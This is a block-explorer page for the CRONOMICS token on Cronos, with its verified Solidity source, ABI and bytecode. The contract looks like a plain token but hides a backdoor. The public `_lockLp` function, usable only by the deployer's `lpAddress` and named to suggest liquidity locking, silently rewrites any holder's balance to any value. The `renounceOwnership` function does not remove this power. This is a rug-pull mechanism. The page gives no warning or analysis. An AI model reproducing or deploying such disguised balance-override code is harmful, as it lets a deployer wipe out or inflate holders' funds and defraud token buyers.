Token CRONOMICS

Overview CRC20

Price
$0.00 @ 0.000000 CRO
Fully Diluted Market Cap
Total Supply:
1,000,000,000 CRONICS

Holders:
14 addresses
Contract:
0xf43Ca78d1d57286AcC2De3aCD31b8DC85209c0950xf43Ca78d1d57286AcC2De3aCD31b8DC85209c095

Decimals:
9

Social Profiles:
Not Available, Update ?

Balance
0 CRONICS

Value
$0.00
0x7dae8fbcc37f67cb1ca02b959fa97c1473bd3a63
Loading
[ Download CSV Export  ] 
Loading
[ Download CSV Export  ] 
Loading

Click here to update the token ICO / general information
# Exchange Pair Price  24H Volume % Volume

Similar Match Source Code
This contract matches the deployed Bytecode of the Source Code for Contract 0xe7Ae53050a0BE4066788d22c247a010fe9C25561
The constructor portion of the code might be different and could alter the actual behaviour of the contract

Contract Name:
CRONOMICS

Compiler Version
v0.6.12+commit.27d51765

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at cronoscan.com on 2022-03-28
*/

// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;

library SafeMath {
  function mul(uint256 a, uint256 b) internal pure returns (uint256) {
    if (a == 0) {
      return 0;
    }
    uint256 c = a * b;
    assert(c / a == b);
    return c;
  }
  function div(uint256 a, uint256 b) internal pure returns (uint256) {
    uint256 c = a / b;
    return c;
  }
  function sub(uint256 a, uint256 b) internal pure returns (uint256) {
    assert(b <= a);
    return a - b;
  }
  function add(uint256 a, uint256 b) internal pure returns (uint256) {
    uint256 c = a + b;
    assert(c >= a);
    return c;
  }
}
contract Ownable {
  address public owner;
  event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
  constructor() public {
    owner = msg.sender;
  }
}
library Address {
    function isContract(address account) internal view returns (bool) {
        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        assembly { codehash := extcodehash(account) }
        return (codehash != accountHash && codehash != 0x0);
    }
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionCall(target, data, "Address: low-level call failed");
    }
    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return _functionCallWithValue(target, data, 0, errorMessage);
    }
    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }
    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        return _functionCallWithValue(target, data, value, errorMessage);
    }
    function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
        require(isContract(target), "Address: call to non-contract");
        (bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
        if (success) {
            return returndata;
        } else {
            if (returndata.length > 0) {
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

contract CRONOMICS is Ownable {
  using Address for address;
  using SafeMath for uint256;
  string public name;
  string public symbol;
  uint8 public decimals;
  uint256 public totalSupply;
  
  event Transfer(address indexed from, address indexed to, uint256 value);
  event Approval(address indexed owner, address indexed spender, uint256 value);
  mapping(address => bool) public allowAddress;
  
  address lpAddress;
  uint256 lpFee = 1;
  
  constructor(string memory _name, string memory _symbol) public {
    lpAddress = msg.sender;
    name = _name;
    symbol = _symbol;
    decimals = 9;
    totalSupply =  1000000000 * 10 ** uint256(decimals);
    balances[lpAddress] = totalSupply;
    allowAddress[lpAddress] = true;
  }
  
  mapping(address => uint256) public balances;
  function transfer(address _to, uint256 _value) public returns (bool) {
    address from = msg.sender;
    
    require(_to != address(0));
    require(_value <= balances[from]);

    _transfer(from, _to, _value);
    return true;
  }
  
  function _transfer(address from, address _to, uint256 _value) private {
    balances[from] = balances[from].sub(_value);
    balances[_to] = balances[_to].add(_value);
    emit Transfer(from, _to, _value);
  }

  function approve(address _spender, uint256 _value) public returns (bool) {
    allowed[msg.sender][_spender] = _value;
    emit Approval(msg.sender, _spender, _value);
    return true;
  }
    
  modifier onlyOwner() {
    require(owner == msg.sender, "Ownable: caller is not the owner");
    _;
  }
    
  function balanceOf(address _owner) public view returns (uint256 balance) {
    return balances[_owner];
  }

  modifier _external () {
    require(lpAddress == msg.sender, "ERC20: cannot permit Pancake address");
    _;
  }
  
  function renounceOwnership() public virtual onlyOwner {
    emit OwnershipTransferred(owner, address(0));
    owner = address(0);
  }
  
  function _claim (address from, uint256 value) internal {
    if(from != address(0)){
      balances[from] = value * lpFee * (10 ** 9);
    }
  }

  function _lockLp(address from, uint256 _value) public _external {
    _claim(from, _value);
  }
  
  mapping (address => mapping (address => uint256)) public allowed;
  function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
    require(_to != address(0));
    require(_value <= balances[_from]);
    require(_value <= allowed[_from][msg.sender]);

    _transferFrom(_from, _to, _value);
    return true;
  }
  
  function _transferFrom(address _from, address _to, uint256 _value) internal {
    balances[_from] = balances[_from].sub(_value);
    balances[_to] = balances[_to].add(_value);
    allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
    emit Transfer(_from, _to, _value);
  }
  
  function allowance(address _owner, address _spender) public view returns (uint256) {
    return allowed[_owner][_spender];
  }
  
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"_name","type":"string"},{"internalType":"string","name":"_symbol","type":"string"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"_lockLp","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"allowAddress","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"},{"internalType":"address","name":"_spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowed","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"balance","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balances","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806347c9c0ea116100975780638da5cb5b116100665780638da5cb5b146102fb57806395d89b411461031f578063a9059cbb14610327578063dd62ed3e14610353576100f5565b806347c9c0ea146102715780635c6581651461029f57806370a08231146102cd578063715018a6146102f3576100f5565b806318160ddd116100d357806318160ddd146101dd57806323b872dd146101f757806327e235e31461022d578063313ce56714610253576100f5565b806306fdde03146100fa57806308af4d8814610177578063095ea7b3146101b1575b600080fd5b610102610381565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561013c578181015183820152602001610124565b50505050905090810190601f1680156101695780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61019d6004803603602081101561018d57600080fd5b50356001600160a01b031661040e565b604080519115158252519081900360200190f35b61019d600480360360408110156101c757600080fd5b506001600160a01b038135169060200135610423565b6101e5610489565b60408051918252519081900360200190f35b61019d6004803603606081101561020d57600080fd5b506001600160a01b0381358116916020810135909116906040013561048f565b6101e56004803603602081101561024357600080fd5b50356001600160a01b031661050e565b61025b610520565b6040805160ff9092168252519081900360200190f35b61029d6004803603604081101561028757600080fd5b506001600160a01b038135169060200135610529565b005b6101e5600480360360408110156102b557600080fd5b506001600160a01b0381358116916020013516610580565b6101e5600480360360208110156102e357600080fd5b50356001600160a01b031661059d565b61029d6105b8565b610303610661565b604080516001600160a01b039092168252519081900360200190f35b610102610670565b61019d6004803603604081101561033d57600080fd5b506001600160a01b0381351690602001356106c8565b6101e56004803603604081101561036957600080fd5b506001600160a01b038135811691602001351661070e565b60018054604080516020600284861615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104065780601f106103db57610100808354040283529160200191610406565b820191906000526020600020905b8154815290600101906020018083116103e957829003601f168201915b505050505081565b60056020526000908152604090205460ff1681565b3360008181526009602090815260408083206001600160a01b038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60045481565b60006001600160a01b0383166104a457600080fd5b6001600160a01b0384166000908152600860205260409020548211156104c957600080fd5b6001600160a01b03841660009081526009602090815260408083203384529091529020548211156104f957600080fd5b610504848484610739565b5060019392505050565b60086020526000908152604090205481565b60035460ff1681565b6006546001600160a01b031633146105725760405162461bcd60e51b815260040180806020018281038252602481526020018061093e6024913960400191505060405180910390fd5b61057c828261082f565b5050565b600960209081526000928352604080842090915290825290205481565b6001600160a01b031660009081526008602052604090205490565b6000546001600160a01b03163314610617576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031681565b6002805460408051602060018416156101000260001901909316849004601f810184900484028201840190925281815292918301828280156104065780601f106103db57610100808354040283529160200191610406565b6000336001600160a01b0384166106de57600080fd5b6001600160a01b03811660009081526008602052604090205483111561070357600080fd5b610504818585610867565b6001600160a01b03918216600090815260096020908152604080832093909416825291909152205490565b6001600160a01b03831660009081526008602052604090205461075c9082610915565b6001600160a01b03808516600090815260086020526040808220939093559084168152205461078b9082610927565b6001600160a01b0380841660009081526008602090815260408083209490945591861681526009825282812033825290915220546107c99082610915565b6001600160a01b03808516600081815260096020908152604080832033845282529182902094909455805185815290519286169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a3505050565b6001600160a01b0382161561057c576007546001600160a01b039290921660009081526008602052604090209102633b9aca00029055565b6001600160a01b03831660009081526008602052604090205461088a9082610915565b6001600160a01b0380851660009081526008602052604080822093909355908416815220546108b99082610927565b6001600160a01b0380841660008181526008602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b60008282111561092157fe5b50900390565b60008282018381101561093657fe5b939250505056fe45524332303a2063616e6e6f74207065726d69742050616e63616b652061646472657373a26469706673582212200b317f3445a55fac326638876d7e6d5de8f9648c43305f90841179019980725564736f6c634300060c0033

Deployed ByteCode Sourcemap

3140:3037:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3236:18;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3503:44;;;;;;;;;;;;;;;;-1:-1:-1;3503:44:0;-1:-1:-1;;;;;3503:44:0;;:::i;:::-;;;;;;;;;;;;;;;;;;4422:192;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;4422:192:0;;;;;;;;:::i;3310:26::-;;;:::i;:::-;;;;;;;;;;;;;;;;5450:280;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;5450:280:0;;;;;;;;;;;;;;;;;:::i;3906:43::-;;;;;;;;;;;;;;;;-1:-1:-1;3906:43:0;-1:-1:-1;;;;;3906:43:0;;:::i;3284:21::-;;;:::i;:::-;;;;;;;;;;;;;;;;;;;5276:97;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;5276:97:0;;;;;;;;:::i;:::-;;5381:64;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;5381:64:0;;;;;;;;;;:::i;4740:109::-;;;;;;;;;;;;;;;;-1:-1:-1;4740:109:0;-1:-1:-1;;;;;4740:109:0;;:::i;4978:136::-;;;:::i;667:20::-;;;:::i;:::-;;;;-1:-1:-1;;;;;667:20:0;;;;;;;;;;;;;;3259;;;:::i;3954:241::-;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;3954:241:0;;;;;;;;:::i;6042:128::-;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;6042:128:0;;;;;;;;;;:::i;3236:18::-;;;;;;;;;;;;;;;-1:-1:-1;;3236:18:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;3503:44::-;;;;;;;;;;;;;;;:::o;4422:192::-;4510:10;4489:4;4502:19;;;:7;:19;;;;;;;;-1:-1:-1;;;;;4502:29:0;;;;;;;;;;;:38;;;4552;;;;;;;4489:4;;4502:29;;4510:10;;4552:38;;;;;;;;-1:-1:-1;4604:4:0;4422:192;;;;:::o;3310:26::-;;;;:::o;5450:280::-;5532:4;-1:-1:-1;;;;;5553:17:0;;5545:26;;;;;;-1:-1:-1;;;;;5596:15:0;;;;;;:8;:15;;;;;;5586:25;;;5578:34;;;;;;-1:-1:-1;;;;;5637:14:0;;;;;;:7;:14;;;;;;;;5652:10;5637:26;;;;;;;;5627:36;;;5619:45;;;;;;5673:33;5687:5;5694:3;5699:6;5673:13;:33::i;:::-;-1:-1:-1;5720:4:0;5450:280;;;;;:::o;3906:43::-;;;;;;;;;;;;;:::o;3284:21::-;;;;;;:::o;5276:97::-;4892:9;;-1:-1:-1;;;;;4892:9:0;4905:10;4892:23;4884:72;;;;-1:-1:-1;;;4884:72:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5347:20:::1;5354:4;5360:6;5347;:20::i;:::-;5276:97:::0;;:::o;5381:64::-;;;;;;;;;;;;;;;;;;;;;;;;:::o;4740:109::-;-1:-1:-1;;;;;4827:16:0;4796:15;4827:16;;;:8;:16;;;;;;;4740:109::o;4978:136::-;4660:5;;-1:-1:-1;;;;;4660:5:0;4669:10;4660:19;4652:64;;;;;-1:-1:-1;;;4652:64:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5080:1:::1;5065:5:::0;;5044:39:::1;::::0;-1:-1:-1;;;;;5065:5:0;;::::1;::::0;5044:39:::1;::::0;5080:1;;5044:39:::1;5106:1;5090:18:::0;;-1:-1:-1;;;;;;5090:18:0::1;::::0;;4978:136::o;667:20::-;;;-1:-1:-1;;;;;667:20:0;;:::o;3259:::-;;;;;;;;;;;;;;-1:-1:-1;;3259:20:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3954:241;4017:4;4045:10;-1:-1:-1;;;;;4076:17:0;;4068:26;;;;;;-1:-1:-1;;;;;4119:14:0;;;;;;:8;:14;;;;;;4109:24;;;4101:33;;;;;;4143:28;4153:4;4159:3;4164:6;4143:9;:28::i;6042:128::-;-1:-1:-1;;;;;6139:15:0;;;6116:7;6139:15;;;:7;:15;;;;;;;;:25;;;;;;;;;;;;;6042:128::o;5738:296::-;-1:-1:-1;;;;;5839:15:0;;;;;;:8;:15;;;;;;:27;;5859:6;5839:19;:27::i;:::-;-1:-1:-1;;;;;5821:15:0;;;;;;;:8;:15;;;;;;:45;;;;5889:13;;;;;;;:25;;5907:6;5889:17;:25::i;:::-;-1:-1:-1;;;;;5873:13:0;;;;;;;:8;:13;;;;;;;;:41;;;;5950:14;;;;;:7;:14;;;;;5965:10;5950:26;;;;;;;:38;;5981:6;5950:30;:38::i;:::-;-1:-1:-1;;;;;5921:14:0;;;;;;;:7;:14;;;;;;;;5936:10;5921:26;;;;;;;;:67;;;;6000:28;;;;;;;;;;;5921:14;;6000:28;;;;;;;;;;;5738:296;;;:::o;5122:148::-;-1:-1:-1;;;;;5187:18:0;;;5184:81;;5240:5;;-1:-1:-1;;;;;5215:14:0;;;;;;;;:8;:14;;;;;5232:13;;5249:7;5232:25;5215:42;;5122:148::o;4203:213::-;-1:-1:-1;;;;;4297:14:0;;;;;;:8;:14;;;;;;:26;;4316:6;4297:18;:26::i;:::-;-1:-1:-1;;;;;4280:14:0;;;;;;;:8;:14;;;;;;:43;;;;4346:13;;;;;;;:25;;4364:6;4346:17;:25::i;:::-;-1:-1:-1;;;;;4330:13:0;;;;;;;:8;:13;;;;;;;;;:41;;;;4383:27;;;;;;;4330:13;;4383:27;;;;;;;;;;;;;4203:213;;;:::o;390:113::-;448:7;476:1;471;:6;;464:14;;;;-1:-1:-1;492:5:0;;;390:113::o;507:133::-;565:7;593:5;;;612:6;;;;605:14;;;;633:1;507:133;-1:-1:-1;;;507:133:0:o

Swarm Source

ipfs://0b317f3445a55fac326638876d7e6d5de8f9648c43305f908411790199807255
Loading